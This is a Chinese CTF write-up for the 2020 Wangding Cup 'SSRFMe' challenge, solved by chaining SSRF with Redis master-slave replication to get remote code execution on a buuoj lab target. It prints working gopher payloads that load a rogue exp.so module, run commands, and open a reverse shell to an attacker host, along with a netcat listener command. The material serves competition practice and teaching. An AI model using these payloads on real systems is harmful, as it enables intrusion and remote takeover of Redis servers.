freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

很经典的一道CTF-WriteUP[网鼎杯 2020 玄武组]SSRFMe
2021-10-27 14:27:44

前言

刚完整复现一遍redis,然后重新打了一下这道题
SSRF+本地redis主从复制RCE组合拳拿shell

拿不到flag+反弹shell的惨案到此为止吧,跟我一步步拿shell

redis漏洞利用姿势原文https://www.sec-in.com/article/1309

一、环境说明

buuoj靶场

https://buuoj.cn/

攻击机kali-公网(普通的centos和ubuntu机子一样效果)

二、打靶机

注意:现在buuoj的这台靶机已经可以出网了,有公网服务器直接用自己服务器就好,没有的话再去考虑搞小号开linux小靶机

1 访问靶机

http://44841d7f-8e24-426e-8e42-59ab4ce4b488.node4.buuoj.cn:81/

image-20211025183245770

2 获取redis密码

使用0.0.0.0的ip地址绕过check_inner_ip() 函数,访问hint.php得到redis密码

/?url=http://0.0.0.0/hint.php
密码
root

image-20211025183300007

用本地主从复制打它,利用目录为万能的/tmp

3 攻击机开启主服务器

下载前面用到的两个工具,
https://github.com/n0b0dyCN/redis-rogue-server
# redis-rogue-server,未授权使用

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
# Awsome-Redis-Rogue-Server,有授权使用

将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块

开启主服务

# lport就是指定攻击机的ip和端口的,默认15000端口,-v和-path前面说过了
python3 redis_rogue_server.py -v -path exp.so -lport 21000

image-20211025182818891

4 ssrf gopher联动redies拿flag

payload中第一行就是payload,下面的是解码结果方便查看。%0a是换行,%250a是因为%编码之后是%25(都是url编码两次)

然后我把自己的攻击机服务器的ip地址改成了1.xx.xx.xx,记得改回来,全局替换即可

5 设置备份路径

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit

image-20211025183404424

6 加载exp.so

重新登录 生成一个exp.so文件 在进行主从同步(ip改为本地),退出

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%25201.xx.xx.xx%252021000%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 1.xx.xx.xx 21000
quit

image-20211025183506156

执行之后,主从同步能够看到回显,会一直同步image-20211025183655208

7 加载模块

gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit

gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit

image-20211025183848330

8 关闭关闭主从同步

gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit

关闭成功后主服务会停止同步,提示PONG啥的

image-20211025184034576

9 导出数据库

(设置备份文件名字)

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dbfilename dump.rdb
quit

image-20211025184544849

10 获取flag

gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit

gopher://0.0.0.0:6379/_auth root
system.exec "cat /flag"
quit

image-20211025185709526

11 反弹shell

先在攻击机监听6666端口

nc -lvvp 6666

image-20211025184649881

执行反弹

gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.rev%25201.xx.xx.xx%25206666%250d%250aquit

gopher://0.0.0.0:6379/_auth root
system.rev 1.xx.xx.xx 6666
quit

image-20211025184811545

image-20211025185153741

# CTF # 网鼎杯 # ssrfme # redis主从复制
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录